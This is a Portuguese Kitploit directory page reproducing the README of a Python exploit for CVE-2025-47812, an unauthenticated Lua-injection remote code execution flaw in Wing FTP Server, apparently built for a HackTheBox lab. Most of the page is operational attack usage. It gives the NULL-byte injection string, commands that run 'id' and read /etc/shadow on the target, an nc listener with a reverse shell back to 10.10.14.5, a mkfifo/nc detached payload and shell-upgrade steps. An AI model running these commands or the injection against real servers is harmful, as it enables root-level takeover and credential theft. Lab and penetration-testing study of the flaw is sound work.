Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-47812 — CVE-2025-47812 Poc para wingdata HTB | Kitploit
Ferramentas/GitHubGitHub/0xs4n4tg/cve-2025-47812
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed TeamingDesenvolvimento de Payloads
GitHub0xs4n4tg/cve-2025-47812

CVE-2025-47812

CVE-2025-47812 Poc para wingdata HTB

Ver Repositório
há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-47812 — Wing FTP Server RCE Não Autenticado (reescrita)

Exploit em Python para o RCE por injeção de Lua não autenticado no Wing FTP Server ≤ 7.4.3. Projetado para entrega de shell — um comando do check para um callback netcat funcional.

Escrito há algum tempo para o laboratório wingData no HTB e agora open-source. Use apenas contra sistemas que você possui ou tem permissão por escrito para testar.

Créditos

  • Pesquisa de vulnerabilidade: Julien (@MrTuxracer) — What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
  • PoC original: @4m3rr0r — github.com/4m3rr0r/CVE-2025-47812-poc
  • Este repositório: uma reescrita do PoC acima que é um pouco mais funcional e mais fácil de usar.

Resumo da vulnerabilidade

A função c_CheckUser() do Wing FTP trunca o username no primeiro byte NULL para autenticação, mas o caminho de criação de sessão escreve o nome de usuário completo e não higienizado em um arquivo de sessão Lua. Injete anonymous%00]]<lua>-- e o servidor felizmente escreve seu Lua na sessão. Acessar qualquer endpoint autenticado (dir.html funciona) carrega esse arquivo de sessão via loadfile() → f(), executando o código injetado como root / SYSTEM.

Afetado: Wing FTP Server ≤ 7.4.3. Corrigido na versão 7.4.4.

Instalação

root@kitploit:~
pip install requests

Só isso — sem outras dependências.

Uso

root@kitploit:~
# 1. Confirme se o alvo é vulnerável (executa `id` e verifica `uid=`)
python3 exploit.py -u http://target:5466/ check

# 2. Comando único — captura stdout E stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"

# 3. Shell reverso (o caminho fácil)
#    Terminal 1:
nc -lvnp 4444
#    Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444

# 4. Payload arbitrário destacado — atirar e esquecer. Útil quando o bash está ausente:
python3 exploit.py -u http://target:5466/ detached \
  "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"

Flags

Dicas

  • Verifique a porta primeiro. A interface web não está na porta 80 por padrão — tente http://target:5466/login.html em um navegador antes de assumir que a URL está errada.
  • Se o modo shell não conseguir um callback, recorra ao detached com o payload mkfifo acima. Algumas imagens Linux mínimas não incluem bash.
  • Faça upgrade do shell capturado assim que ele chegar:
    root@kitploit:~
    python3 -c 'import pty;pty.spawn("/bin/bash")'
    # Ctrl+Z
    stty raw -echo; fg
    # Enter, Enter
    export TERM=xterm
    

Aviso

Apenas para uso educacional e testes de segurança autorizados. Você é responsável pelos alvos para os quais aponta isso.

Licença

MIT — veja LICENSE.

Baixar ferramenta
FlagPadrãoPropósito
-u, --urlobrigatórioURL base do alvo — Wing FTP normalmente escuta na porta :5466 (HTTP) ou :5467 (HTTPS).
-U, --usernameanonymousNome de usuário antes do byte NULL. Anônimo funciona em instalações padrão.
-P, --passwordvazioSenha para o POST de injeção. Vazio é suficiente para anônimo.
-v, --verbosedesligadoExibe o payload Lua, URLs acessadas e o corpo da resposta bruta.